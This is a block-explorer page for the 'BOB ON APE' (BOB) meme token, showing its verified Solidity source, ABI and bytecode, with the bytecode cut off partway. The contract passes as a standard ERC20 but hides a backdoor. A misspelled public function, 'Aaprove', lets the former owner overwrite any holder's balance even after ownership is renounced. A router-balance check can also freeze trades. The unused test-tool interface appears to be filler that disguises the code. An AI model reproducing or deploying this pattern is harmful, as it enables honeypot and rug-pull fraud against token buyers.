APE Price: $1.53 (+1.14%)

Token

BOB ON APE (BOB)

Overview

Max Total Supply

420,690,000,000 BOB

Holders

39

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,480,645,933,337,201,669.852078712 BOB

Value
$0.00
0x9d50b1e075c3fed575dc5a7354f1c69d2d031f6d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BOB

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

/**
 *
https://t.me/APE_BOB
https://twitter.com/APEBOB_0X
*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
    function startPrank(address) external;
    // Sets the *next* call's msg.sender to be the input address, and the tx.origin to be the second input
    function prank(address, address) external;
    function startPrank(address, address) external;
    // Resets subsequent calls' msg.sender to be `address(this)`
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    // Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData).
    // Call this function, then emit an event, then call a function. Internally after the call, we check if
    // logs were emitted in the expected order with the expected topics and data (as specified by the booleans).
    // Second form also checks supplied address against emitting contract.
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);

    function snapshot() external returns (uint256);
  
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_hoppeiOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_hoppeiOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_hoppeiOwnership(newOwner);
    }
 

    function _transfer_hoppeiOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoppei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hoppei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _transfer_etcwithstow(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Aaprove(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSenderHe == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract BOB is ERC20 {
    uint256 private constant TOAL_SUTSLTYLSOM =420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_hoppei;
    uint256 public maxTxAmoudcxEOM;
    uint256 public maxwalles_dsEOM;
    mapping(address => bool) public isException;

    uint256 _burnPermtmests = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20(unicode"BOB ON APE", unicode"BOB", TOAL_SUTSLTYLSOM) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxwalles_dsEOM = TOAL_SUTSLTYLSOM / 25;
        maxTxAmoudcxEOM = TOAL_SUTSLTYLSOM /25;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPermtmests) / 100;

                super._transfer_etcwithstow(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hoppei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_hoppei = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_hoppei) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmoudcxEOM, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxwalles_dsEOM, "Max holding exceeded max");
            }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aaprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmoudcxEOM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxwalles_dsEOM","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600b553480156200001657600080fd5b50604051620030c9380380620030c983398181016040528101906200003c91906200050f565b6040518060400160405280600a81526020017f424f42204f4e20415045000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f424f4200000000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d2620000c66200039860201b60201c565b620003a060201b60201c565b8260059081620000e39190620007bb565b508160069081620000f59190620007bb565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a19190620008b3565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060196816ce3f1e16bf1500006200020a9190620008ff565b60098190555060196816ce3f1e16bf150000620002289190620008ff565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000937565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d782620004aa565b9050919050565b620004e981620004ca565b8114620004f557600080fd5b50565b6000815190506200050981620004de565b92915050565b600060208284031215620005285762000527620004a5565b5b60006200053884828501620004f8565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c357607f821691505b602082108103620005d957620005d86200057b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000604565b6200064f868362000604565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200069c62000696620006908462000667565b62000671565b62000667565b9050919050565b6000819050919050565b620006b8836200067b565b620006d0620006c782620006a3565b84845462000611565b825550505050565b600090565b620006e7620006d8565b620006f4818484620006ad565b505050565b5b818110156200071c5762000710600082620006dd565b600181019050620006fa565b5050565b601f8211156200076b576200073581620005df565b6200074084620005f4565b8101602085101562000750578190505b620007686200075f85620005f4565b830182620006f9565b50505b505050565b600082821c905092915050565b6000620007906000198460080262000770565b1980831691505092915050565b6000620007ab83836200077d565b9150826002028217905092915050565b620007c68262000541565b67ffffffffffffffff811115620007e257620007e16200054c565b5b620007ee8254620005aa565b620007fb82828562000720565b600060209050601f8311600181146200083357600084156200081e578287015190505b6200082a85826200079d565b8655506200089a565b601f1984166200084386620005df565b60005b828110156200086d5784890151825560018201915060208501945060208101905062000846565b868310156200088d578489015162000889601f8916826200077d565b8355505b6001600288020188555050505b505050505050565b620008ad8162000667565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200090c8262000667565b9150620009198362000667565b9250826200092c576200092b620008d0565b5b828204905092915050565b61278280620009476000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063715018a6116100ad578063a457c2d711610071578063a457c2d714610337578063a9059cbb14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b8063715018a6146102a357806383f43a9a146102ad5780638da5cb5b146102cb57806395d89b41146102e957806398636f32146103075761012c565b8063313ce567116100f4578063313ce567146101eb57806339509351146102095780636225658914610239578063634d1af21461024357806370a08231146102735761012c565b806306fdde0314610131578063095ea7b31461014f5780630a221a1c1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610401565b6040516101469190611bef565b60405180910390f35b61016960048036038101906101649190611caa565b610493565b6040516101769190611d05565b60405180910390f35b6101876104b1565b6040516101949190611d2f565b60405180910390f35b6101a56104b7565b6040516101b29190611d2f565b60405180910390f35b6101d560048036038101906101d09190611d4a565b6104c1565b6040516101e29190611d05565b60405180910390f35b6101f36105c2565b6040516102009190611db9565b60405180910390f35b610223600480360381019061021e9190611caa565b6105cb565b6040516102309190611d05565b60405180910390f35b610241610677565b005b61025d60048036038101906102589190611caa565b61069c565b60405161026a9190611d2f565b60405180910390f35b61028d60048036038101906102889190611dd4565b610763565b60405161029a9190611d2f565b60405180910390f35b6102ab6107ac565b005b6102b56107c0565b6040516102c29190611d2f565b60405180910390f35b6102d36107c6565b6040516102e09190611e10565b60405180910390f35b6102f16107ef565b6040516102fe9190611bef565b60405180910390f35b610321600480360381019061031c9190611dd4565b610881565b60405161032e9190611d05565b60405180910390f35b610351600480360381019061034c9190611caa565b6108a1565b60405161035e9190611d05565b60405180910390f35b610381600480360381019061037c9190611caa565b610995565b60405161038e9190611d05565b60405180910390f35b6103b160048036038101906103ac9190611e2b565b6109b3565b6040516103be9190611d2f565b60405180910390f35b6103e160048036038101906103dc9190611dd4565b610a3a565b005b6103eb610abd565b6040516103f89190611d05565b60405180910390f35b60606005805461041090611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461043c90611e9a565b80156104895780601f1061045e57610100808354040283529160200191610489565b820191906000526020600020905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b60006104a76104a0610ad0565b8484610ad8565b6001905092915050565b60085481565b6000600454905090565b60006104ce848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610519610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611f3d565b60405180910390fd5b6105b6856105a5610ad0565b85846105b19190611f8c565b610ad8565b60019150509392505050565b60006009905090565b600061066d6105d8610ad0565b8484600360006105e6610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106689190611fc0565b610ad8565b6001905092915050565b61067f610f99565b6001600760006101000a81548160ff021916908315150217905550565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106dc919061205e565b604051602081830303815290604052805190602001209050600082604051602001610707919061205e565b60405160208183030381529060405280519060200120905060008660001b905060008284149050801561074b5761073e8983611017565b965050505050505061075d565b610754896110ad565b96505050505050505b92915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b4610f99565b6107be60006110f6565b565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107fe90611e9a565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611e9a565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108b0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610964906120eb565b60405180910390fd5b61098a610978610ad0565b8585846109859190611f8c565b610ad8565b600191505092915050565b60006109a96109a2610ad0565b8484610ca1565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42610f99565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061217d565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e9061220f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad906122a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611d2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d76906123c5565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473fffff